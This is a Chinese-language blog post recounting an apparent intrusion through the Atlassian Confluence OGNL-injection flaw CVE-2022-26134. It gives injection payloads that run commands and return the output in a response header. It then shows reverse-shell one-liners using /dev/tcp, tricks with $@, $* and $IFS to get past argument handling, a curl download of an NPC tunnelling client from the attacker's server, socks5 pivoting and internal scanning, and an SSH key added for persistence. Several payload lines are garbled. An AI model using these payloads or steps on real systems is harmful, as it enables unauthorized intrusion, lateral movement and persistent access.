记一次RCE-内网之旅
起因:Nuclei爆红,Atlassian Confluence的命令执行漏洞,编号:CVE-2022-26134
1.思路
1 | 命令执行-反弹shell失败-反弹shell成功-代理nps落地-内网之旅 |
2.命令执行
Nuclei已经给出了攻击载荷,而且把RCE之后的结果输出了
payload解码看一下:
1 | ${(#a="X-Cmd-Response",#a))} .apache.commons.io.IOUtils ).( .opensymphony.webwork.ServletActionContext .setHeader( |
payload里,java.lang.Runtime类调用exec方法,执行whoami命令,在自定义的X-Cmd-Response响应头中输出命令执行的结果:
自定义响应头,尝试执行其它命令:
3.反弹shell(失败)
网上有不少反弹shell的攻击载荷
1 | /${new javax.script.ScriptEngineManager().getEngineByName("nashorn").eval("new java.lang.ProcessBuilder().command('bash','-c','bash -i >& /dev/tcp/ip/port 0>&1').start()")}/ |
用网上公开的攻击载荷尝试反弹shell,发现nc监听一直没反应……
尝试寻找Confluence的其它版本反弹shell
成功反弹
怀疑是版本的问题导致无法反弹shell,可老表告诉我说是特殊字符的问题,于是找了一下java下命令执行的一些细节
java执行系统命令的代码:
Runtime.getRuntime().exec()
new ProcessBuilder().start()
第二种执行系统命令的实现代码已经尝试过了,换第一种Runtime反弹shell,也就是Nuclei已经给出的攻击载荷
1 | ${(#a="X-Cmd-Response",#a))} .apache.commons.io.IOUtils ).( .opensymphony.webwork.ServletActionContext .setHeader( |
这里需要注意的是,在使用Runtime执行命令的时候,会限制传入的参数,只能传入一个List对象或者数组,否则会导致命令执行不成功,反弹shell自然也会失败。
4.反弹shell(成功)
此时可以bypass让命令成功执行
1.$@bypass
$@能够获取对应的变量,比如:
1
/bin/bash -c '$@|bash' xx echo id
这种方法可以成功执行id命令,$@获取 echo id然后通过管道符执行命令id,使用这种方式尝试反弹目标shell
攻击载荷:
1 | /bin/bash -c $@|bash 0 echo 命令 |
于是$@bypass反弹shell的攻击载荷如下
1 | ${(#a="X-Cmd-Response",#a))} .apache.commons.io.IOUtils ).( .opensymphony.webwork.ServletActionContext .setHeader( |
尝试反弹shell:
反弹shell成功
2.$*bypass
与上边同理
3.$IFSbypass
反弹shell命令的空格在bash中可以用$IFS替代
1 | /bin/bash -c bash -i >&/dev/tcp/ip/8888 0>&1 |
使用$IFS替代空格:
1 | /bin/bash -c bash$IFS-i$IFS>&/dev/tcp/ip/8888$IFS0>&1 |
尝试进行shell反弹
成功反弹shell
5.代理NPS落地
shell成功反弹,就要考虑进内网扫描一波了,一是上传扫描工具直接扫描,二是将流量代理出来,本地扫描一波
代理工具很多,各有优缺点,使用NPS进行内网穿透,NPC不需要配置,只需要文件落地即可
个人VPS有NPC端,目标主机有curl命令
此时个人VPS开启python服务,目标主机用curl -O命令下载并保存npc端到本地
开启python服务 +] python3版本: python3 -m http.server 8888
目标主机进行下载:curl -O http://xxxx:8888/file
解压并运行,服务端提前配置好
运行./npc
6.内网
可以看到客户端已经”上线”
Proxifier进行socks5代理即可
配置firefox代理进入内网、k/fscan扫起来:
再尝试echo >>追加进去公钥
X-shell配置好之后
追加公钥成功
本地设置好socks5代理
成功代理登陆:
1 | 钟声敲响了日落 |